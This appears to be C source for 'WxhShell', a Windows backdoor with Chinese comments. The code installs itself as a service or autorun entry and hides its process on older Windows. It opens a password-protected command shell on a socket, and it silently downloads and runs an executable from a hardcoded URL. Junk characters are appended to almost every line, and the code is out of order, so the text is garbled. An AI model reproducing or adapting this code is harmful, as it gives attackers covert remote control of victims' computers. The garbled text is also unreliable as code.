PROCNTQSIP NtQueryInformationProcess; cnO4NUDv
=
ft$j
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z^a?t<+
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DD3yl\#,
$e,!fB;B
HANDLE hProcess; ",oUVl
PROCESS_BASIC_INFORMATION pbi; 3om7LqcRo
ZjID<5#
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @k;3$
if(NULL == hInst ) return 0; / S^m!{
ijSYQ
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u8\QhUk'G
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H`..)zL|
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?n~j2-[<
"TCbO`mg
if (!NtQueryInformationProcess) return 0; 5q*~h4=r7
`qEm5+`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); agot
(
if(!hProcess) return 0; z{_Vn(Kg
tG&B D\
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OF}_RGKg3
3
+9|7=d
CloseHandle(hProcess); TUCpmj
CawVC*b3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2,`mNjHh
if(hProcess==NULL) return 0; V,,iKr@TG
<\
c8q3N
HMODULE hMod; Wx`IEPsVbk
char procName[255];
<T9m.:l
unsigned long cbNeeded; }e|]G,NZO
"6h.6_bTw
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~|]\.^B
x/v+7Pt_
CloseHandle(hProcess); 1z!Lk*C)
x$4'a~E
if(strstr(procName,"services")) return 1; // 以服务启动 D]y.!D{l2
_3JTHf<+
return 0; // 注册表启动 2sq<"TlQXI
} wEqCuhZ
fR{7780WZ
// 主模块 X ^)5O>>|t
int StartWxhshell(LPSTR lpCmdLine) h{9pr
{ g_=ZcGC
SOCKET wsl; cFo-NI2
BOOL val=TRUE; m#P&Yd4T
int port=0; P]^]
T}5
struct sockaddr_in door; xEqrs6sR
".=EAXVU
if(wscfg.ws_autoins) Install(); )HcC\[
p `Z7VG
port=atoi(lpCmdLine); jeNEC&J
Gd 9B
if(port<=0) port=wscfg.ws_port; =0|evC
tc Z~T
WSADATA data; 5}VP-04vh
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4G2V{(@QiZ
D:0PppE
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; DO;
2)ZQ%
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UNae&Zir
door.sin_family = AF_INET; :}-[%LSV
door.sin_addr.s_addr = inet_addr("127.0.0.1"); N\$6R-L
door.sin_port = htons(port);
73X]|fy
;2~Q97c0
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,GlK_-6>
closesocket(wsl); 1lM0pl6M
return 1; *!kg@ _0K
} a6OT2B
N4pA3~P
if(listen(wsl,2) == INVALID_SOCKET) { |ouk;r24V
closesocket(wsl); H'.d'OE:I
return 1; 7+bzCDKU
} &3efJ?8
Wxhshell(wsl); t+tGN\q
WSACleanup(); iD~s,
W*2SlS7
return 0; @2<J_Ja
zc#`qa:0
} qJsEKuOs
Nx"?'-3Hm
// 以NT服务方式启动 AKVmUS;70
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -p }]r
{ pWqahrWh
DWORD status = 0; /(w5S',EL
DWORD specificError = 0xfffffff; J.*=7zmw
$A,=z
serviceStatus.dwServiceType = SERVICE_WIN32; *MNY1+RJ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; N'StT$(
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %k~=iDk@
serviceStatus.dwWin32ExitCode = 0; )Z#7%,o
serviceStatus.dwServiceSpecificExitCode = 0; E4Sp^,
serviceStatus.dwCheckPoint = 0; :c>,=FUT
serviceStatus.dwWaitHint = 0; [,c>-jA5
W*0KAC`m
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7?4>'
if (hServiceStatusHandle==0) return; &1&*(oi]X
Wd7*sa3T
status = GetLastError(); px*MOHq K
if (status!=NO_ERROR) eP)RP6ON{
{ 9M6&+1XE
serviceStatus.dwCurrentState = SERVICE_STOPPED; bFpwq#PDW>
serviceStatus.dwCheckPoint = 0; A U](pXK;
serviceStatus.dwWaitHint = 0; \,WPFV
serviceStatus.dwWin32ExitCode = status; v{9eEk1
serviceStatus.dwServiceSpecificExitCode = specificError; ci!c7 ,'c
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `7LdF,OdE
return; 5)vXmAD/0
} TM+7>a$
<(v!Xj^yO
serviceStatus.dwCurrentState = SERVICE_RUNNING; sG3%~
serviceStatus.dwCheckPoint = 0; "}n]0 >J
serviceStatus.dwWaitHint = 0; $I.'7
&h;
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 09Fr1PL
} UwLa9Dn^
w$p v
// 处理NT服务事件,比如:启动、停止 /q=<OEC
VOID WINAPI NTServiceHandler(DWORD fdwControl) k,?k37%T]
{ $V[ob
switch(fdwControl) OlP#|x*
{ *aSFJK
case SERVICE_CONTROL_STOP: mGIS[_dcs
serviceStatus.dwWin32ExitCode = 0; +2vcUy
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?vXy7y&4
serviceStatus.dwCheckPoint = 0; D~-Ri`k.
serviceStatus.dwWaitHint = 0; 6s6[sUf=l&
{ *_ "j"{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zEu*q7
} )msqt!Ev
return; ]1klfp,`
case SERVICE_CONTROL_PAUSE: !a
/
serviceStatus.dwCurrentState = SERVICE_PAUSED; B$fL);l-
break; 8 }-"&-X
case SERVICE_CONTROL_CONTINUE: k}/0B
serviceStatus.dwCurrentState = SERVICE_RUNNING; #q%&,;4
break; (mv8_~F0
case SERVICE_CONTROL_INTERROGATE: IkD\YPL;
break; (`T:b1
}; BsxQW`>^y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); LNe-]3wB
} f@Db._E
g4Tc (k#
// 标准应用程序主函数 !.9NJ2'8
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )jnxR${M
{ &7;W=uF
&QvWT+]c'0
// 获取操作系统版本 QH+Oi&xH
OsIsNt=GetOsVer(); y6$5meh.T
GetModuleFileName(NULL,ExeFile,MAX_PATH); [&e}@!8O`
lrK5q
// 从命令行安装 _Nw-|N .
if(strpbrk(lpCmdLine,"iI")) Install(); GQq2;%RrF
8USF;k
// 下载执行文件 r6"t`M
if(wscfg.ws_downexe) { -V(5U!^B
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i: 1V\q%
WinExec(wscfg.ws_filenam,SW_HIDE); Bisht%]^
} rqifjsv
s2q#D.f
if(!OsIsNt) { e)O6k7U$
// 如果时win9x,隐藏进程并且设置为注册表启动 ZVViu4]?y
HideProc(); xCGvLvFn
StartWxhshell(lpCmdLine); Y8(g8RN
} 7R ;!
else V*LpO8=
if(StartFromService()) D[ny%9 :
// 以服务方式启动 BJ1txdxvS
StartServiceCtrlDispatcher(DispatchTable); dnH?@K
else H+ t^eg88
// 普通方式启动 )/UPDdO
StartWxhshell(lpCmdLine); ur"ckuG!9
a,!c6'QE
return 0; ^~?VD
} Gw$U0 HA[,
cW%F%:b
(eFHMRMv~
weKwBw
=========================================== c=h{^![$
S+7>Y? B!
NbSkauF~b
/(5SJ(a
U8;k6WT|
M5CFW >T
" *q\Ve)E}
Y 8EL
#include <stdio.h> Quqts(Q) +
#include <string.h> YOqGFi~`
#include <windows.h> ULNU'6
#include <winsock2.h> h:}oUr8
#include <winsvc.h> $b
QD{ {
#include <urlmon.h> aTxss:7]
Dqs{n?@n
#pragma comment (lib, "Ws2_32.lib") nZ0-
Kb
#pragma comment (lib, "urlmon.lib") !X*+Ct^
(3C::B=
#define MAX_USER 100 // 最大客户端连接数 [2"a~o\
#define BUF_SOCK 200 // sock buffer hQv~C4Wfrf
#define KEY_BUFF 255 // 输入 buffer f![?og)I%
N`h, 2!(j
#define REBOOT 0 // 重启 *VG#SK
#define SHUTDOWN 1 // 关机 ,6uON@
.y\j .p
#define DEF_PORT 5000 // 监听端口 C4Z}WBS(
SxI='z_S.f
#define REG_LEN 16 // 注册表键长度 9w9[0BX#
#define SVC_LEN 80 // NT服务名长度 MqDz cB]
i7_Nv
// 从dll定义API [+\=x[q
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7o_1PwKS6
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '[Ap/:/UY
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >4
4A
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); % put=I
>\6Tm
// wxhshell配置信息 S:aAR*<6
struct WSCFG { SaceIV%(
int ws_port; // 监听端口 !W4A9Th
char ws_passstr[REG_LEN]; // 口令 _4Z|O]
int ws_autoins; // 安装标记, 1=yes 0=no Vb yGr~t
char ws_regname[REG_LEN]; // 注册表键名 FOV%\=Hl
char ws_svcname[REG_LEN]; // 服务名 7)SG#|v[$
char ws_svcdisp[SVC_LEN]; // 服务显示名 (&t741DN|
char ws_svcdesc[SVC_LEN]; // 服务描述信息 JcV'O)&
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .$&mWytw=
int ws_downexe; // 下载执行标记, 1=yes 0=no Xo[j*<=0
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5-qk"@E W
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .,[NJ:l
OCHjQc
}; gCfAy=-,V
@D1}).
// default Wxhshell configuration !8YZ;l
struct WSCFG wscfg={DEF_PORT, %EV\nwn6
"xuhuanlingzhe", mWEaUi)Zz
1, 11Sflj
"Wxhshell", E0HXB1"
"Wxhshell", bvn%E
H
"WxhShell Service", ^#i3JMq
"Wrsky Windows CmdShell Service", y#tuwzE
"Please Input Your Password: ", \"k[y+O],4
1, st4z+$L
"http://www.wrsky.com/wxhshell.exe", ^V6cx2M
"Wxhshell.exe" y950Q%B]
}; "-
2HKs
]]Bqte
// 消息定义模块 n$Nb,/o
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c?(;6$ A
char *msg_ws_prompt="\n\r? for help\n\r#>"; : ;l9to
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ({&